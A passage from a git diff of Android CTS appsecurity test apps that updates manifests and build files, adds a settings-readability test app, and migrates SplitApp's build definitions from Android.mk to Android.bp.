+                     android:pathPrefix="/cts"/>
             </intent-filter>
         </receiver>
-        <receiver android:name=".OrderReceiverDefault">
+        <receiver android:name=".OrderReceiverDefault"
+             android:exported="true">
             <intent-filter>
                 <!-- default order -->
-              <action android:name="android.cts.intent.action.ORDERED" />
+              <action android:name="android.cts.intent.action.ORDERED"/>
                 <data android:scheme="https"
-                      android:host="www.google.com" />
+                     android:host="www.google.com"/>
             </intent-filter>
         </receiver>
-        <receiver android:name=".OrderReceiver1">
-            <intent-filter
-                    android:order="1">
-                <action android:name="android.cts.intent.action.ORDERED" />
+        <receiver android:name=".OrderReceiver1"
+             android:exported="true">
+            <intent-filter android:order="1">
+                <action android:name="android.cts.intent.action.ORDERED"/>
                 <data android:scheme="https"
-                      android:host="www.google.com"
-                      android:path="/cts/packageresolution" />
+                     android:host="www.google.com"
+                     android:path="/cts/packageresolution"/>
             </intent-filter>
         </receiver>
-        <receiver android:name=".OrderReceiver2">
-            <intent-filter
-                    android:order="2">
-                <action android:name="android.cts.intent.action.ORDERED" />
+        <receiver android:name=".OrderReceiver2"
+             android:exported="true">
+            <intent-filter android:order="2">
+                <action android:name="android.cts.intent.action.ORDERED"/>
                 <data android:scheme="https"
-                      android:host="www.google.com"
-                      android:pathPrefix="/cts/package" />
+                     android:host="www.google.com"
+                     android:pathPrefix="/cts/package"/>
             </intent-filter>
         </receiver>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="android.appsecurity.cts.orderedactivity" />
+         android:targetPackage="android.appsecurity.cts.orderedactivity"/>
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp
index 22d6d2a..6081574 100644
--- a/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/PermissionDeclareAppCompat/Android.bp
@@ -20,7 +20,8 @@
     name: "CtsPermissionDeclareAppCompat",
     defaults: ["cts_support_defaults"],
     srcs: ["src/**/*.java"],
-    sdk_version: "16",
+    sdk_version: "30",
+    target_sdk_version: "16",
     static_libs: ["androidx.test.rules"],
     // tag this module as a cts test artifact
     test_suites: [
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.bp b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.bp
index 768a3c0..4893590 100644
--- a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.bp
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/Android.bp
@@ -19,7 +19,8 @@
 android_test_helper_app {
     name: "CtsReadExternalStorageApp",
     defaults: ["cts_support_defaults"],
-    sdk_version: "29",
+    target_sdk_version: "29",
+    sdk_version: "30",
     static_libs: [
         "androidx.test.rules",
         "CtsExternalStorageTestLib",
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/TEST_MAPPING b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/TEST_MAPPING
new file mode 100644
index 0000000..b08a98e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/TEST_MAPPING
@@ -0,0 +1,13 @@
+{
+    "presubmit-large": [
+        {
+            "name": "CtsAppSecurityHostTestCases",
+            "options": [
+                {
+                    "include-filter": "android.appsecurity.cts.ExternalStorageHostTest"
+                }
+            ]
+        }
+    ]
+}
+
diff --git a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/src/com/android/cts/readexternalstorageapp/ReadExternalStorageTest.java b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/src/com/android/cts/readexternalstorageapp/ReadExternalStorageTest.java
index a43bbe7..73f56dd 100644
--- a/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/src/com/android/cts/readexternalstorageapp/ReadExternalStorageTest.java
+++ b/hostsidetests/appsecurity/test-apps/ReadExternalStorageApp/src/com/android/cts/readexternalstorageapp/ReadExternalStorageTest.java
@@ -85,9 +85,14 @@
     public void testMountPointsNotWritable() throws Exception {
         final String userId = Integer.toString(android.os.Process.myUid() / 100000);
         final List<File> mountPaths = getMountPaths();
+        final String packageName = getContext().getPackageName();
         for (File path : mountPaths) {
             if (path.getAbsolutePath().startsWith("/mnt/")
                     || path.getAbsolutePath().startsWith("/storage/")) {
+                if (path.getAbsolutePath().endsWith(packageName)) {
+                    // It's package's own obb / data dir, we allow it.
+                    continue;
+                }
                 // Mount points could be multi-user aware, so try probing both
                 // top level and user-specific directory.
                 final File userPath = new File(path, userId);
diff --git a/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/Android.bp b/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/Android.bp
new file mode 100644
index 0000000..7d4da8d
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/Android.bp
@@ -0,0 +1,59 @@
+// Copyright (C) 2021 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+android_test_helper_app {
+    name: "CtsReadSettingsFieldsApp",
+    defaults: ["cts_support_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+    ],
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    manifest: "AndroidManifest.xml",
+}
+
+android_test_helper_app {
+    name: "CtsReadSettingsFieldsAppTestOnly",
+    defaults: ["cts_support_defaults"],
+    static_libs: [
+        "androidx.test.rules",
+    ],
+    libs: [
+        "android.test.runner",
+        "android.test.base",
+    ],
+    srcs: [
+        "src/**/*.java",
+    ],
+    // tag this module as a cts test artifact
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    manifest: "AndroidManifestTestOnly.xml",
+}
diff --git a/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/AndroidManifest.xml
new file mode 100644
index 0000000..9a33237
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/AndroidManifest.xml
@@ -0,0 +1,27 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.readsettingsfieldsapp">
+
+    <application android:label="CtsReadSettingsFieldsApp">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.cts.readsettingsfieldsapp" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/AndroidManifestTestOnly.xml b/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/AndroidManifestTestOnly.xml
new file mode 100644
index 0000000..614f010
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/AndroidManifestTestOnly.xml
@@ -0,0 +1,28 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+  ~ Copyright (C) 2021 The Android Open Source Project
+  ~
+  ~ Licensed under the Apache License, Version 2.0 (the "License");
+  ~ you may not use this file except in compliance with the License.
+  ~ You may obtain a copy of the License at
+  ~
+  ~      http://www.apache.org/licenses/LICENSE-2.0
+  ~
+  ~ Unless required by applicable law or agreed to in writing, software
+  ~ distributed under the License is distributed on an "AS IS" BASIS,
+  ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+          package="com.android.cts.readsettingsfieldsapp">
+
+    <application android:label="CtsReadSettingsFieldsAppTestOnly"
+                 android:testOnly="true">
+        <uses-library android:name="android.test.runner" />
+    </application>
+
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+                     android:targetPackage="com.android.cts.readsettingsfieldsapp" />
+
+</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/OWNERS b/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/OWNERS
new file mode 100644
index 0000000..7d65382
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/OWNERS
@@ -0,0 +1,4 @@
+# Bug component: 856262
+svetoslavganov@google.com
+toddke@google.com
+schfan@google.com
diff --git a/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/src/com/android/cts/readsettingsfieldsapp/ReadSettingsFieldsTest.java b/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/src/com/android/cts/readsettingsfieldsapp/ReadSettingsFieldsTest.java
new file mode 100644
index 0000000..25caa2c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/ReadSettingsFieldsApp/src/com/android/cts/readsettingsfieldsapp/ReadSettingsFieldsTest.java
@@ -0,0 +1,202 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.readsettingsfieldsapp;
+
+import android.content.ContentResolver;
+import android.provider.Settings;
+import android.test.AndroidTestCase;
+import android.util.ArraySet;
+
+import java.lang.reflect.Field;
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+
+public class ReadSettingsFieldsTest extends AndroidTestCase {
+
+    /** Test public keys are readable with annotation */
+    public void testSecurePublicSettingsKeysAreReadable() {
+        testPublicSettingsKeysAreReadable(Settings.Secure.class);
+    }
+
+    public void testSystemPublicSettingsKeysAreReadable() {
+        testPublicSettingsKeysAreReadable(Settings.System.class);
+    }
+
+    public void testGlobalPublicSettingsKeysAreReadable() {
+        testPublicSettingsKeysAreReadable(Settings.Global.class);
+    }
+
+    private <T extends Settings.NameValueTable> void testPublicSettingsKeysAreReadable(
+            Class<T> settingsClass) {
+        for (String key : getPublicSettingsKeys(settingsClass)) {
+            try {
+                callGetStringMethod(settingsClass, key);
+            } catch (SecurityException ex) {
+                if (isSettingsDeprecated(ex)) {
+                    continue;
+                }
+                fail("Reading public " + settingsClass.getSimpleName() + " settings key <" + key
+                        + "> should not raise exception! "
+                        + "Did you forget to add @Readable annotation?\n" + ex.getMessage());
+            }
+        }
+    }
+
+    private <T extends Settings.NameValueTable> void callGetStringMethod(Class<T> settingsClass,
+            String key) throws SecurityException {
+        try {
+            Method getStringMethod = settingsClass.getMethod("getString",
+                    ContentResolver.class, String.class);
+            getStringMethod.invoke(null, getContext().getContentResolver(), key);
+        } catch (NoSuchMethodException | IllegalAccessException e) {
+            e.printStackTrace();
+        } catch (InvocationTargetException e) {
+            throw new SecurityException(e.getCause());
+        }
+    }
+
+    private <T> ArraySet<String> getPublicSettingsKeys(Class<T> settingsClass) {
+        final ArraySet<String> publicSettingsKeys = new ArraySet<>();
+        final Field[] allFields = settingsClass.getDeclaredFields();
+        try {
+            for (int i = 0; i < allFields.length; i++) {
+                final Field field = allFields[i];
+                if (field.getType().equals(String.class)) {
+                    final Object value = field.get(settingsClass);
+                    if (value.getClass().equals(String.class)) {
+                        publicSettingsKeys.add((String) value);
+                    }
+                }
+            }
+        } catch (IllegalAccessException ignored) {
+        }
+        return publicSettingsKeys;
+    }
+
+    private boolean isSettingsDeprecated(SecurityException ex) {
+        return ex.getMessage().contains("is deprecated and no longer accessible");
+    }
+
+    /** Test hidden keys are readable with annotation */
+    public void testSecureSomeHiddenSettingsKeysAreReadable() {
+        final ArraySet<String> publicSettingsKeys = getPublicSettingsKeys(Settings.Secure.class);
+        final String[] hiddenSettingsKeys = {"adaptive_sleep", "bugreport_in_power_menu",
+                "input_methods_subtype_history"};
+        testHiddenSettingsKeysReadable(Settings.Secure.class, publicSettingsKeys,
+                hiddenSettingsKeys);
+    }
+
+    public void testSystemSomeHiddenSettingsKeysAreReadable() {
+        final ArraySet<String> publicSettingsKeys = getPublicSettingsKeys(Settings.System.class);
+        final String[] hiddenSettingsKeys = {"advanced_settings", "system_locales",
+                "display_color_mode", "min_refresh_rate"};
+        testHiddenSettingsKeysReadable(Settings.System.class, publicSettingsKeys,
+                hiddenSettingsKeys);
+    }
+
+    public void testGlobalSomeHiddenSettingsKeysAreReadable() {
+        final ArraySet<String> publicSettingsKeys = getPublicSettingsKeys(Settings.Secure.class);
+        final String[] hiddenSettingsKeys = {"notification_bubbles", "add_users_when_locked",
+                "enable_accessibility_global_gesture_enabled"};
+        testHiddenSettingsKeysReadable(Settings.Global.class, publicSettingsKeys,
+                hiddenSettingsKeys);
+    }
+
+    private <T extends Settings.NameValueTable> void testHiddenSettingsKeysReadable(
+            Class<T> settingsClass, ArraySet<String> publicKeys, String[] targetKeys) {
+        for (String key : targetKeys) {
+            // Verify that the hidden keys are not visible to the test app
+            assertFalse("Settings key <" + key + "> should not be visible",
+                    publicKeys.contains(key));
+            try {
+                // Verify that the hidden keys can still be read
+                callGetStringMethod(settingsClass, key);
+            } catch (SecurityException ex) {
+                fail("Reading hidden " + settingsClass.getSimpleName() + " settings key <" + key
+                        + "> should not raise!");
+            }
+        }
+    }
+
+    /** Test hidden keys are not readable without annotation */
+    public void testSecureHiddenSettingsKeysNotReadableWithoutAnnotation() {
+        final ArraySet<String> publicSettingsKeys = getPublicSettingsKeys(Settings.Secure.class);
+        final String[] hiddenSettingsKeys = {"camera_autorotate",
+                "location_time_zone_detection_enabled"};
+        testHiddenSettingsKeysNotReadableWithoutAnnotation(Settings.Secure.class,
+                publicSettingsKeys, hiddenSettingsKeys);
+    }
+
+    public void testSystemHiddenSettingsKeysNotReadableWithoutAnnotation() {
+        final ArraySet<String> publicSettingsKeys = getPublicSettingsKeys(Settings.System.class);
+        final String[] hiddenSettingsKeys = {"display_color_mode_vendor_hint"};
+        testHiddenSettingsKeysNotReadableWithoutAnnotation(Settings.System.class,
+                publicSettingsKeys, hiddenSettingsKeys);
+    }
+
+    public void testGlobalHiddenSettingsKeysNotReadableWithoutAnnotation() {
+        final ArraySet<String> publicSettingsKeys = getPublicSettingsKeys(Settings.Global.class);
+        final String[] hiddenSettingsKeys = {"restricted_networking_mode",
+                "people_space_conversation_type"};
+        testHiddenSettingsKeysNotReadableWithoutAnnotation(Settings.Global.class,
+                publicSettingsKeys, hiddenSettingsKeys);
+    }
+
+    private <T extends Settings.NameValueTable>
+    void testHiddenSettingsKeysNotReadableWithoutAnnotation(
+            Class<T> settingsClass, ArraySet<String> publicKeys, String[] targetKeys) {
+        for (String key : targetKeys) {
+            // Verify that the hidden keys are not visible to the test app
+            assertFalse("Settings key <" + key + "> should not be visible",
+                    publicKeys.contains(key));
+            try {
+                // Verify that the hidden keys cannot be read
+                callGetStringMethod(settingsClass, key);
+                fail("Reading hidden " + settingsClass.getSimpleName() + " settings key <" + key
+                        + "> should raise!");
+            } catch (SecurityException ex) {
+                assertTrue(ex.getMessage().contains(
+                        "Settings key: <" + key + "> is not readable."));
+            }
+        }
+    }
+
+    /** Test hidden keys are readable if the app is test only, even without annotation */
+    public void testSecureHiddenSettingsKeysReadableWithoutAnnotation() {
+        final ArraySet<String> publicSettingsKeys = getPublicSettingsKeys(Settings.Secure.class);
+        final String[] hiddenSettingsKeys = {"camera_autorotate",
+                "location_time_zone_detection_enabled"};
+        testHiddenSettingsKeysReadable(Settings.Secure.class, publicSettingsKeys,
+                hiddenSettingsKeys);
+    }
+
+    public void testSystemHiddenSettingsKeysReadableWithoutAnnotation() {
+        final ArraySet<String> publicSettingsKeys = getPublicSettingsKeys(Settings.System.class);
+        final String[] hiddenSettingsKeys = {"display_color_mode_vendor_hint"};
+        testHiddenSettingsKeysReadable(Settings.System.class, publicSettingsKeys,
+                hiddenSettingsKeys);
+    }
+
+    public void testGlobalHiddenSettingsKeysReadableWithoutAnnotation() {
+        final ArraySet<String> publicSettingsKeys = getPublicSettingsKeys(Settings.Global.class);
+        final String[] hiddenSettingsKeys = {"restricted_networking_mode",
+                "people_space_conversation_type"};
+        testHiddenSettingsKeysReadable(Settings.Global.class, publicSettingsKeys,
+                hiddenSettingsKeys);
+    }
+}
+
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp
new file mode 100644
index 0000000..1a02f52
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.bp
@@ -0,0 +1,177 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+java_defaults {
+    name: "CtsSplitAppDefaults",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    asset_dirs: ["assets"],
+    sdk_version: "current",
+    min_sdk_version: "4",
+    aapt_include_all_resources: true,
+    static_libs: [
+        "androidx.test.rules",
+        "truth-prebuilt",
+        "hamcrest-library",
+        "compatibility-device-util-axt",
+    ],
+    libs: [
+        "android.test.runner.stubs",
+        "android.test.base.stubs",
+    ],
+}
+
+android_test_helper_app {
+    name: "CtsSplitApp",
+    defaults: ["CtsSplitAppDefaults"],
+    package_splits: [
+        "mdpi-v4",
+        "hdpi-v4",
+        "xhdpi-v4",
+        "xxhdpi-v4",
+        "v7",
+        "v23",
+        "fr",
+        "de",
+    ],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--version-name OneHundred",
+        "--replace-version",
+    ],
+    // Feature splits are dependent on this base, so it must be exported.
+    export_package_resources: true,
+    test_suites: [
+        "cts",
+        "general-tests",
+        "mts-mainline-infra",
+    ],
+}
+
+// Define a variant with a different revision code
+android_test_helper_app {
+    name: "CtsSplitAppDiffRevision",
+    defaults: ["CtsSplitAppDefaults"],
+    package_splits: ["v7"],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--revision-code 12",
+        "--version-name OneHundredRevisionTwelve",
+        "--replace-version",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+// Define a variant with a different version code
+android_test_helper_app {
+    name: "CtsSplitAppDiffVersion",
+    defaults: ["CtsSplitAppDefaults"],
+    package_splits: ["v7"],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 101",
+        "--version-name OneHundredOne",
+        "--replace-version",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+// Define a variant with a different signature
+android_test_helper_app {
+    name: "CtsSplitAppDiffCert",
+    defaults: ["CtsSplitAppDefaults"],
+    package_splits: ["v7"],
+    certificate: ":cts-testkey2",
+    aaptflags: [
+        "--version-code 100",
+        "--version-name OneHundred",
+        "--replace-version",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+// Define a variant requiring a split for install
+android_test_helper_app {
+    name: "CtsNeedSplitApp",
+    defaults: ["CtsSplitAppDefaults"],
+    manifest: "needsplit/AndroidManifest.xml",
+    package_splits: ["xxhdpi-v4"],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--version-name OneHundredRevisionTwelve",
+        "--replace-version",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+// Define a variant with different codes and resources for the inherit updated test of the base apk
+android_test_helper_app {
+    name: "CtsSplitAppRevisionA",
+    defaults: ["CtsSplitAppDefaults"],
+    srcs: ["src/**/*.java", "revision_a/src/**/*.java"],
+    resource_dirs: ["res", "revision_a/res"],
+    asset_dirs: ["revision_a/assets"],
+    manifest : "revision_a/AndroidManifest.xml",
+    package_splits: ["v7"],
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--revision-code 10",
+        "--version-name OneHundredRevisionTen",
+        "--replace-version",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
+
+// Define a variant which includes a provider and service declared in other split apk. And they only
+// could be tested in the instant app.
+android_test_helper_app {
+    name: "CtsSplitInstantApp",
+    defaults: ["CtsSplitAppDefaults"],
+    manifest : "instantapp/AndroidManifest.xml",
+    certificate: ":cts-testkey1",
+    aaptflags: [
+        "--version-code 100",
+        "--version-name OneHundred",
+        "--replace-version",
+    ],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
index 08a94b5..73c2f58 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/Android.mk
@@ -16,154 +16,6 @@
 
 LOCAL_PATH := $(call my-dir)
 
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSplitApp
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-LOCAL_PACKAGE_SPLITS := mdpi-v4 hdpi-v4 xhdpi-v4 xxhdpi-v4 v7 fr de
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundred --replace-version
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-LOCAL_EXPORT_PACKAGE_RESOURCES := true
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
-#################################################
-# Define a variant with a different revision code
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSplitAppDiffRevision
-LOCAL_PACKAGE_SPLITS := v7
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_MANIFEST_FILE := revision/AndroidManifest.xml
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundredRevisionTwelve --replace-version
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
-################################################
-# Define a variant with a different version code
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSplitAppDiffVersion
-LOCAL_PACKAGE_SPLITS := v7
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 101 --version-name OneHundredOne --replace-version
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
-################################################
-# Define a variant with a different signature
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSplitAppDiffCert
-LOCAL_PACKAGE_SPLITS := v7
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
-LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundred --replace-version
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
-#################################################
-# Define a variant requiring a split for install
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_MANIFEST_FILE := needsplit/AndroidManifest.xml
-
-LOCAL_PACKAGE_NAME := CtsNeedSplitApp
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-LOCAL_PACKAGE_SPLITS := xxhdpi-v4
-
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundredRevisionTwelve --replace-version
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
 ifeq (,$(ONE_SHOT_MAKEFILE))
-include $(LOCAL_PATH)/libs/Android.mk $(LOCAL_PATH)/feature/Android.mk
+include $(LOCAL_PATH)/libs/Android.mk
 endif
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
index ec88e32..97a02e7 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
@@ -15,50 +15,75 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.splitapp"
-    android:targetSandboxVersion="2">
+     xmlns:tools="http://schemas.android.com/tools"
+     package="com.android.cts.splitapp"
+     android:targetSandboxVersion="2">
 
-    <uses-sdk android:minSdkVersion="4" android:targetSdkVersion="29"/>
+    <!-- The androidx test libraries uses minSdkVersion 14. Applies an overrideLibrary rule here
+         to pass the build error, since tests need to use minSdkVersion 4. -->
+    <uses-sdk android:minSdkVersion="4" android:targetSdkVersion="29" tools:overrideLibrary=
+        "androidx.test.runner, androidx.test.rules, androidx.test.monitor, androidx.test.services.storage"/>
 
     <uses-permission android:name="android.permission.CAMERA"/>
     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
-    <application android:label="SplitApp" android:multiArch="true">
-        <activity android:name=".MyActivity">
+    <application android:label="SplitApp"
+         android:multiArch="true">
+        <activity android:name=".MyActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
-            <meta-data android:name="android.service.wallpaper" android:resource="@xml/my_activity_meta" />
+            <meta-data android:name="android.service.wallpaper"
+                 android:resource="@xml/my_activity_meta"/>
+        </activity>
+        <activity android:name=".ThemeActivity" android:theme="@style/Theme_Base"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
